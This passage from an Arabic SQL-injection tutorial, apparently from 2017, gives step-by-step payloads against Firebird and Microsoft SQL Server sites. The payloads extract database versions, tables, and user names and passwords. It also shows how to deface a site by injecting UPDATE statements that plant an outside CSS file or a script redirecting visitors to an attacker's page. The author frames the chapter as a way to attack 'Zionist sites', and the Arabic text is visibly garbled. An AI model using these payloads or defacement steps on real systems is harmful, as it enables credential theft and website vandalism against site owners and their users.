. الولى والتي تنتمي لتبديل بين قيم العمدةskip+0
www.InjectorBoy.GHT/as/exibir_noticias.php?id=362/**/and/**/1=
%28select/**/first/**/1/**/skip/**/0/**/rdb$field_name/**/from/**/rdb$relation_fields/**/where/**/rdb$relation_na
me=%28select/**/first/**/1/**/skip/**/31/**/distinct/**/rdb$relation_name/**/from/**/rdb$relation_fields%29%29#
Warning: ibase_query() [function.ibase-query]: Dynamic SQL Error SQL error code = USER -104 as
approximate floating-point values in SQL dialect 1, but as 64-bit in \\deceasrv16\hca$\noticias\exibir_noticias.php
on line 15
الولىskip+0 وطبعا ل لتصفح باقي العمدة كما رقلت سابقا ل تكون بتبديل القيمة الخاصة بـUSER العمود الول ريساوي القيمة
. من الستعلم
معرفة البيانات النهائية-5
+and+1=(select+first+1+skip+0+column+from+table)#
: هذا الستعلم لستخراج قيمة واحدة من العمدة أما لو أردنا إستخراج قيمتين فعلينا بإستخدام الستعلم التالي
+and+1=(select+first+1+skip+0+column1||column2+from+table)#
www.InjectorBoy.GHT/as/exibir_noticias.php?
id=362/**/and/**/1=(select/**/first/**/1/**/skip/**/0/**/RDB$USER/**/from/**/RDB$USER_PRIVILEGES)#
Warning: ibase_query() [function.ibase-query]: Dynamic SQL Error SQL error code = flaower36 -104 as
approximate floating-point values in SQL dialect 1, but as 64-bit in \\deceasrv16\hca$\noticias\exibir_noticias.php
on line 15
� الفصل الثاني عشر :حقن سيرفرات ويندوز �
في هذا الفصل سوف ندرس كافة تقنيات حقن قواعد بيانات ويندوز سيرفر لذا يجب أن ننتبه جيدا ل لهمية هذا الفصل نظرا ل
لكثرة إعتماد المواقع الصهيونية على هذه القواعد -
-3حقن قواعد بيانات ويندوز سيرفر عملية زرع الـ Imageالرمعبرة على الختراق .
-4حقن قواعد بيانات ويندوز سيرفر عملية زرع الـ Indexالرمعبرة على الختراق .
الباب الول :حقن قواعد بيانات ويندوز سيرفر تقنية الـ Union Based
حقن قواعد بيانات ميكروسوفت إس كيو إل سيرفر Microsoft SQL Serverيختلف كثيرا ل عن حقن قواعد بيانات Mysql
التي تعلمنا أساليب إستغللها سابقا ل لذا سوف نعلرض علي ر
كم الكثير من الساليب الخاصة بها بهذا الفصل الرممتد وسوف نبدأ
هذا الباب الول بتقنية الـ . Union Based
لنعلم أول ل أن الـ إس كيو إل سيرفر هو برنامج لقواعد البيانات العلئقية من إنتاج مايكروسوفت ،لغة الستعلم الرئيسية فيه
هي إس كيو إل وتي-سكيول ,وسوف نعتمد الموقع الرسمي الرمخصص لختبار تقنيات الحقن من شركة acunetixالذي يعمل
تحت تقنية الـ إيه إس بي دوت نت .
الـ إيه إس بي دوت نت ASP.NETإختصارا لـ Active Server Pagesوالتي تعني صفحات الخادم النشط هو إطار لتطبيقات
الويب تم تطويره وتسويقه من خلل شركة مايكروسوفت من أجل إعطاء القدرة للمبرمجين على بناء مواقع ويب ديناميكية
وتطبيقات ويب وخدمات ويب ,وتم إصداره في يناير من عام 2002مع النسخة رقم 1.0من إطار عمل دوت نت ,وتعتبر
هذه التقنية خلفا ل لتقنية ) ASPصفحات الخادم النشطة( كما أن ASP.NETتم بناؤها لتستند على تقنية ) CLRوقت التشغيل
المشترك بين اللغات( مما يسمح للمبرمجين بكتابة أكوادهم الخاصة بإطار ASP.NETباستخدام أي لغة برمجة يفضلونها على
أن تكون مدعومة بإطار عمل دوت نت .
يهدف ASP.NETإلى أفضل أداء بحيث يفوق أي تقنية معتمدة على أكواد نصية ) Scriptsمتضمنة الـ ASPالكلسيكي( ،
وذلك يتم عبر ترجمة الكود الذي سيعمل في جهة الخادم Server Sideإلى ملف DLLأو أكثر يتم استضافته/استضافتهم على
خادم الويب ,وتتم هذه الترجمة بشكل آلي في أول مرة يتم استدعاء الصفحة بها )وذلك يعني أنه ليس على المطور أن يقوم
بعمل أي خطوات لترجمة Compileالصفحات( هذه الخاصية توفر تطويرا سهل باستخدام لغة برمجة نصية وتوفر أداء ممتازا
مثل الذلك الضي يصاحب الترجمة الثنائية . Binary
لنبدأ الشرح بعرض الموقع الرمخصص الشرح علية والرمقدم من acunetixوإختبار إمكانية الصابة .
testasp.vulnweb.com/showforum.asp?id=1
'testasp.vulnweb.com/showforum.asp?id=1
لحظنا بالصورة السابقة بإختبار الكشف عن وجود الثغرة بإستخدام علمة التنصيص الفردية كومة أن النتيجة إجابية لذا لنبدأ الخطوة
كلية للعمدة .الولى من خطوات الحقن بإختبار الكشف عن القيمة ال ر
رملحظة
أول ل :في حالة كانت قيمة الخطأء الناتج رتساوي أحد القيمة التالية :
www.InjectorBoy.GHT?asp=1’
www.InjectorBoy.GHT?asp=1’
- فهذا معناهر أن الثغرة قد تكون رمرقعة ويكون رمجرد خطأ وقد ل تكون رمرقعة أي مسئلة حظ ل أكثر على الغالب
لنرلجع مرجوعنا إلى تقنية تحصيل القيمة ال ر
. كلية للعمدة
الخطوة التالية الن سوف تكون بعرض الستعلمات الرمستخدمة لستخراج البيانات من قاعدة البيانات -
)1- convert(int,@@version
or
)2- cast(version() as int
Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007 22:47:07 Copyright (c) 1988-2005 Microsoft
)Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 2
-2استخراج الجداول
استخراج العمدة-3
- users الخطوة التالية الن سوف نكون بإستخراج العمدة من الجدول الرمستهدف
ولتصرفح باقي العمدة نقوم بإضافة القيمة التالية للستعلم كما فعلنا مع الجداول سابقا ة ونقوم تاليا لuname العمود الول الرمستخرج
. بالعمود الول الرمستخرجColumn بإستبدال القيمة
and column_name<>'Column'
. ولتصرفح باقي العمدة نقوم تماما ل بفعل ما فعلناهر مع الجداولupass العمود الثاني
استخراج البيانات-4
Column وTable الخطوة التالية الن سوف نقوم بإستخراج قيم العمدة التي حصلناها بالمرحلة السابقة مع رمراعاة تبديل القيم
. بما ريناسبها
: للفصل بين القيمتين الخصيين بالعمدة كالتالي2b'/'%2b% ولتحصيل القيمتين معا ل بإستعلم واحد نقوم بإضافة القيمة
في بعض الحيان تحردث رمشكلة وهي عدم ظهور أي قيم على الشاشة بالصفحة للقيم النهائية للعمدة وذلك نتيجة: رملحظة
ان الـ passيكون في بعص الحيان عبارة عن أرقام وليس حروف وبالستعلم الرمستخدم نحرن رقمنا بتحويلة من خلل الـ convert(int
إلي رقم وهو بالساس رقم فحدث خطأ نتيجة ذلك ,لذا الحل لهذه الرمعلضلة هي بتحويل الرقم الى نص ومن ثمل نطلب تحويله الى رقم
مرة رأخرى والدالة التي من خللها نستطيع تحويل الرقم الى نص وذلك من خلل دمج نص مع الرقم هي الدالة QUOTENAME
ورمسمى هذا الحل ] حل مشكلة القيم الرقمية بقواعد بيانات [ Microsoft SQL Server
))convert(int,(select+top+1+QUOTENAME(Column,'''')+from+Table
سوف ندررس بهذا الباب تقنية حقن قواعد بيانات ويندوز سيرفر بالـ Error Basedولنبدأ بعرض الموقع الرمخصص الشرح علية والرمقدم
من . acunetix
testasp.vulnweb.com/showforum.asp?id=1
إستخراج إصدار قاعدة البيانات-1
الستعلم الرمستخدم لذلك
or 1=convert(int,(@@version))
testasp.vulnweb.com/showforum.asp?id=1+or 1=convert(int,(@@version))-- -
استخراج الجداول-2
الستعلم الرمستخدم لذلك
and name!='TABLE'
ولتصرفح باقي الجداول سوف نقوم بإضافة القيمة التالية للستعلمthreads الجدول الول الرمستخرج
-3استخراج العمدة
الخطوة التالية الن سوف نكون بإستخراج العمدة من الجدول الرمستهدف - users
العمود الول الرمستخرج unameولتصرفح باقي العمدة نقوم بإضافة القيمة التالية للستعلم كما فعلنا مع الجداول سابقا ة ونقوم تاليا ل
بإستبدال القيمة Columnبالعمود الول الرمستخرج .
'and column_name<>'Column
العمود الثاني upassولتصرفح باقي العمدة نقوم تماما ل بفعل ما فعلناهر مع الجداول .
استخراج البيانات-4
Column وTable الخطوة التالية الن سوف نقوم بإستخراج قيم العمدة التي حصلناها بالمرحلة السابقة مع رمراعاة تبديل القيم
. بما ريناسبها
للفصل بين2b'/'%2b% ولتحصيل القيمتين معا ل بإستعلم واحد نقوم بإضافة القيمةg00dPa$$w0rD اليوز !))(&&!|*|*| والباس
: القيمتين الخصيين بالعمدة كالتالي
: يكون الحل كالتاليMicrosoft SQL Server وفي حالة تحقق وجود مشكلة القيم الرقمية بقواعد بيانات
testasp.vulnweb.com/showforum.asp?id=1+or 1=convert(int,(select+top+1+QUOTENAME(upass,'''')+from+users)) --
-
الباب الثالث :حقن قواعد بيانات ويندوز سيرفر عملية زرع الـ Imageالرمعبرة عن الختراق .
كم الخاصة بالموقع الرمستهدف لتمام عملية الختراق الكامل ,فرهناك رطرق رأخري كن من الوصول إلى لوحة التح ر
في حالة عدم التم ر
لولي هي ما نقوم بدراستها حاليا ل والحالة ا ر
لخرى تأتي لحقا ل بالباب ل ل متعويض عن ذلك وإتمام عملية الختراق ,وذلك في حالتين الحالة ا ر
التالي .
الخطوة الول :إستخراج كامل الجداول من الموقع الرمستهدف بإستخدام القيمة having 1=1
الجدول = threads
ولتحصيل القمية التي تلي ذلك والرمرفق معها العمود الخاص بها نقوم بإستخدام القيمة الستعلمية group byرثم إضافة إسم الجدول
الرمستخرج مع البقاء للقيمة having 1=1بنهاية الستعلم :
حدث خطأ The multi-part identifier "forums.name" could not be boundحسنا ل معناه أي ل يوجد المزيد -
. وصورة مرفوعة برابط رمباشرcss نحتاج لكود: الخطوة التالية
الصورة المطلوبة مررفوعة برابط رمباشر: أول ل
https://i.imgur.com/yQ4P5.jpg
BODY {
SCROLLBAR-FACE-COLOR: black; SCROLLBAR-HIGHLIGHT-COLOR: black; SCROLLBAR-SHADOW-
COLOR: darkgray; SCROLLBAR-3DLIGHT-COLOR: #ee; SCROLLBAR-ARROW-COLOR: black; SCROLLBAR-
TRACK-COLOR: gray; SCROLLBAR-DARKSHADOW-COLOR: black
}
A:link {
COLOR: darkblue; TEXT-DECORATION: none
}
A:visited {
COLOR: #000088; TEXT-DECORATION: none
}
A:hover {
COLOR: black
}
body, td, th {
color: black;
}
table, p, td, t
{
visibility:hidden;
}
body {
background-color: black;
background-image:url('img link');
background-repeat:no-repeat;
background-position:top;
}
: داخل الكود برابط الصورة الرمباشرة التي رقمنا برفعها رمسبقا ل على النحو التاليimg link نفوم بإستبدال القيمة: ثانيا ل
} BODY
SCROLLBAR-FACE-COLOR: black; SCROLLBAR-HIGHLIGHT-COLOR: black; SCROLLBAR-SHADOW-
COLOR: darkgray; SCROLLBAR-3DLIGHT-COLOR: #ee; SCROLLBAR-ARROW-COLOR: black; SCROLLBAR-
TRACK-COLOR: gray; SCROLLBAR-DARKSHADOW-COLOR: black
}
A:link {
COLOR: darkblue; TEXT-DECORATION: none
}
A:visited {
COLOR: #000088; TEXT-DECORATION: none
}
A:hover {
COLOR: black
}
body, td, th {
color: black;
}
table, p, td, t
{
visibility:hidden;
}
body {
background-color: black;
background-image:url('http://lovern.doomby.com/medias/images/2013.jpg');
background-repeat:no-repeat;
background-position:top;
}
هو أيضا ل بعد إدخال رابط الصورة الرمباشر عليه بموقع ريعطي رابط رمباشر لره هو أبضا ل كما فعلنا مع الصورةcss نقوم برفع ملف الـ: ثالثا ل
http://lovern.doomby.com/medias/files/css.css
داخل الكود التالي والتعويض عن رcss نقوم بوضع الرابط الرمباشر لملف الـ: رابعا ل
جملة ملف الـ سي إس إس برابط الملف الرمباشر
: على النحو التالي
( نقوم بإضافة الكود الستعلمي التالي لرابط الموقع الرمستهدف بصورة رمباشرة مع رمراعاة إستبدال القيم )الجدول( و )العمود: خامسا ل
. threads.title بالبيانات الرمستخرجة سابقا ل
+Update+الجدول+Set+=العمود
testasp.vulnweb.com/showthread.asp?id=1+Update+threads+Set+title=
سادسا ل :نقوم بإضافة الكود ال ر
كلي لملف الـ cssبعد علمة الـ = على النحو التالي :
testasp.vulnweb.com/showthread.asp?id=1+Update+threads+Set+title='<link
'href=http://lovern.doomby.com/medias/files/css.css rel=stylesheet>;--
ثامنا ل :نقوم بعمل ريفريش بالضغط على رمفتاح الـ F5للموقع ورنشاهد النتيجة -
نقوم بحذف الكود بعد رقم الرمتغير وعمل ريفريش مرة رأخرى للتأركد من نجاح العملية .
الباب الثالث :حقن قواعد بيانات ويندوز سيرفر عملية زرع الـ Indexالرمعبرة عن الختراق .
بالباب السابق تعلمنا كيفية القيام بعملية زرع صورة رمعبرة عن عملية الختراق وسوف نتعلم بهذا الباب عملية زرع الندكس
Indexالخاص بالرسالة الرمض لممنرة لسباب الختراق .
أول ل :نقوم برفع الندكس الخاص لبنا على موقع ريعطي رابط رمباشر لره .
http://lovern.doomby.com/medias/files/this-is-just-a-test-2.html
ثانيا ل :نقوم بإضافة هذا الرابط الرمباشر الخاص بالندكس بالكود التالي -
'>'<script>location.replace("http://lovern.doomby.com/medias/files/this-is-just-a-test-2.html");</script
ثالثا ل :نقوم بإضافة هذا الكود الكامل للكود الخاص بقيم الجدول والعمود الرمحقن بلهمما على النحو التالي وكما فعلنا بالباب السابق -
''=+Update+threads+Set+title
+Update+threads+Set+title='<script>location.replace("http://lovern.doomby.com/medias/files/this-is-just-a-test-
'>2.html");</script
رابعا ل :نقوم بإضافة الكود الستعلمي الكامل هذا إلى رابط الموقع الهدف والضغط على رمفتاح F5لعمل عملية ريفريش .
?testasp.vulnweb.com/showthread.asp
id=1+Update+threads+Set+title='<script>location.replace("http://lovern.doomby.com/medias/files/this-is-just-a-test-
'>2.html");</script
بعد الضغط على رمفتاح الريفريش F5
رثم نقوم بحذف ركل الستعلم بعد رقم الرمتغير والضغط على رمفتاح الـ F5مرة رأخرى لعمل ريفرش ورمراقبة الناتج .
قامت الصفحة بالتحويل إلي رابط الندكس الرمباشر الخاص بنا لتكون هي الصفحة البديلة التي تظهر في حال رمحاولة أي شخص الولوج
لهذه الرابط من الموقع .
▂ ▃ ▄ ▅ ▆ ▇ █ نهايـــة الفـصــ ل █ ▇ ▆ ▅ ▄ ▃ ▂
•◘╚╦☆ الخالتمة ☆╚╦◘•
اللهم ارحمنا فأنت بنا راحم .ول تعـذبنا فأنت عـلينا قادر .
اللهم ارحمنا إذا أتانا اليقين وعرق منا الجبين وكثر النين والحنين .
اللهم ارحمنا إذا يئس منا الطبيب وبكى علينا الحبيب وتخلى عنا القريب والغريب وارتفع النشيج والنحيب .
اللهم ارحمنا إذا اشتدت السكرات وتوالت الحسرات و أطبقت الروعات وفاضت العبرات و تكشفت العورات و تعطلت القوة و القدرات .
اللهم ارحمنا اذا بردت القدمان وارتخت اليدان وضعف الجنان وعرق الجبين وزاغ البصر .
اللهم ارحمنا إذا بلغت التراقي وقيل من راق وتأكدت فجيعة الفراق للهل والرفاق وقد حام القضاء فليس من واق .
اللهم ارحمنا اذا غسلونا وارحمنا اذا كفنونا وعلى العناق حملونا .
))اللهم صلي وسلم وبارك على سيدنا محمد وعلى اله وصحبه وسلم ((
Email : ghtvbr@gmail.com
Facebook : facebook.com/GHBlaCkRose
Egypt 2017